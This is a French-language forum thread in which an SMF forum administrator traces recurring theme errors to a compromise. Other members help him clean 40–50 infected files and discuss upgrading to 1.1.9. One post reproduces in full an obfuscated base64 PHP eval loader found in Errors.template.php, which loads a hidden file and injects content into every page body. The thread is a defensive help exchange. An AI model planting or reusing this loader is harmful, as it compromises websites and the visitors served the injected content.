Méssage d'erreur

[belgium-gravure]

Bonjour depuis quelque jours

j'ai ce méssage d'érreur via la pannel admin du forum http://forum.opel-online.fr uniquement (pas les autre forum

Koodi [Valitse] Laajenna


http://forum.opel-online.fr/index.php?action=viewErrorLog;desc;start=0 
8: Undefined index: dhhag
Fichier: /web/sites/vhbu3/2/90/103842/public/forum/Themes/default/Errors.template.php (eval?)
Ligne: 1

  Tout cocher 


aucun modif n'a été fait entre la mise a jour du porte 2.2.2 (simple portal) et le début de ces méssages

Après cette mise  ajours du portal le journal d'érreur était calme (rien )

Mais depuis lundi c'est la folie

j'ai éffectué une restauration ftp  , ça été 00h42 '' puis ça recommencer de plus belle

Un idée , merci d'avance mike

[belgium-gravure]

 http://forum.opel-online.fr/index.php?action=keepalive;1245268872444 
8: Undefined index: dhhag
/web/sites/vhbu3/2/90/103842/public/forum/Themes/phobos114/images/img/img/style.css.php(1) : eval()'d code(1) : eval()'d code
1

[maximus23]

Bonsoir,

Apparement tu as une erreur au niveau de ton thème...et keepalive correspond à quoi ?

[belgium-gravure]

Bonsoir,

Apparement tu as une erreur au niveau de ton thème..

ça le fait meme avec le theme par défault (core)

.et keepalive correspond à quoi ?

Aucune idée
Au niveau fichier "default/Errors.template.php" voilas ce que je découvre ne première ligne

Koodi [Valitse] Laajenna

<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU
1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvd2ViL3NpdGVzL3ZoYnUzLzIvOTAvMTAzODQyL3B1YmxpYy9mb3J
1bS9UaGVtZXMvcGhvYm9zMTE0L2ltYWdlcy9pbWcvaW1nL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvd
2ViL3NpdGVzL3ZoYnUzLzIvOTAvMTAzODQyL3B1YmxpYy9mb3J1bS9UaGVtZXMvcGhvYm9zM
TE0L2ltYWdlcy9pbWcvaW1
nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZ
nVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYw
MzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkF
EQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1O
TRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZ
CJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2Jyxzd
WJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5N
zMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCND
RGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigw
KSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNk
U5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN
0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31
pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJB
RkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyOD
Y4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFN
DEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09R
kFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3ND
A2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaC
gkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE
3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goJy9cPG
JvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWN
lKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkUjNFMzNFMDE3
Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdk
Z29iaCcpO319fQ==')); ?>

<?php
// Version: 1.1; Errors


[belgium-gravure]

j'ai trouver ça aussi ,

http://www.tinyportal.net/index.php?action=printpage;topic=26106.0

si j'ai bine compris
on parle d esoucis de sécurité ,

[maximus23]

Bonsoir,

Oui effectivement c'est du hack ... Regarde ceci et utilise l'utilitaire en le lançant en root de ton ftp : http://www.simplemachines.org/community/index.php?topic=313201.0

[belgium-gravure]

Ok merci , je vait testé

[belgium-gravure]

Re en effet , pas loin de 40-50 fichier infecté  et une 10 qui son catalogué comme possible infecté

Voilas c'est nétoyé  (merci )

Bon un backup de tous (comme chaque semaine)

Sinon que pensez vous de ça ?

SMF Nuke est un CMS intégrant le forum SMF dans phpnuke ( ou plutôt le contraire ).
Le pack inclus 23 modules ( mais tous ne sont pas en français ), à cette date pas de site de support français.
@ réserver aux fans de SMF

http://www.nukescripts.fr/phpnuke-nukescripts-downloads-file-863.html

[maximus23]

Bonsoir,

J'espère que tout tes forums sont bien à jour sinon tu auras chaque fois la blaque car cela est corrigé à partir de la 1.1.9

[maximus23]

Bonsoir,

Pour phpnuke c'est payant maintenant et il y a toujours eu de gros problèmes de sécurité. J'espère que cela s'est amélioré depuis tout ce temps

[belgium-gravure]

Bonsoir,

J'espère que tout tes forums sont bien à jour sinon tu auras chaque fois la blaque car cela est corrigé à partir de la 1.1.9

Alors la mise a jour ne c'est pas éffectué correctement , malgrès que tous était en vert

[maximus23]

Bonsoir,

Ne confond pas le Kbscan avec la mise à jour.

[GravuTrad]

Bonsoir,

Pour phpnuke c'est payant maintenant et il y a toujours eu de gros problèmes de sécurité. J'espère que cela s'est amélioré depuis tout ce temps

Pour cette version, attention c'est cyril levert qui a pondu, donc un peu mieux pondu que phpnuke de base lol...

On lui doit par exemple le super CMS Php Maximus! Ultra rapide, ultra modulable, ultra secure...

Mike, ton forum était en qu'elle version? bien en 1.1.9? si oui tu étais passé par le patch ou l'upgrade? tu avais aussi mis à jour tes thèmes persos?

[belgium-gravure]

Bonsoir,

Ne confond pas le Kbscan avec la mise à jour.

Non mdr , je parle lors d ela mise a jour du forum en version 1.1.8 vers la version 1.1.9

[belgium-gravure]

[Mike, ton forum était en qu'elle version? bien en 1.1.9? si oui tu étais passé par le patch ou l'upgrade? tu avais aussi mis à jour tes thèmes persos?

bonjour l'ami ,

Pour ce qui est de ce forum , il a été mis a jour (de 1.1.8 vers 1.1.9)

Le theme perso j'ai regarder pour la mise  ajour citer dans un autre post

Part contre pour mon forum parlons-ensemble la c'est une base refaite a neuf (juste un virus dans un fichier language modification-espagnol.latin....)

[GravuTrad]

un virus? issu d'un mod?

[belgium-gravure]

Je me demande si ça date pas de quand il y avait des inscription no stop de robot ou cie ?

via avatar ou piece jointe ...

[GravuTrad]

alors il te faut appliquer ce que donner dans le lien mis par maximus. Tu as été infecté avant de mettre à jour...

[belgium-gravure]

C'est fait et je controp réguliairement , plus rien a signalé pour le moment

Mais existe il pas des sécurité comme nuke sentinel gratuit ou pas trop couteux ?

[GravuTrad]

Non. A part corriger la faille, il n'y aucun système tel pour smf. (ni pour pas mal de forums d'ailleurs, à part peut être ctracker pour phpbb)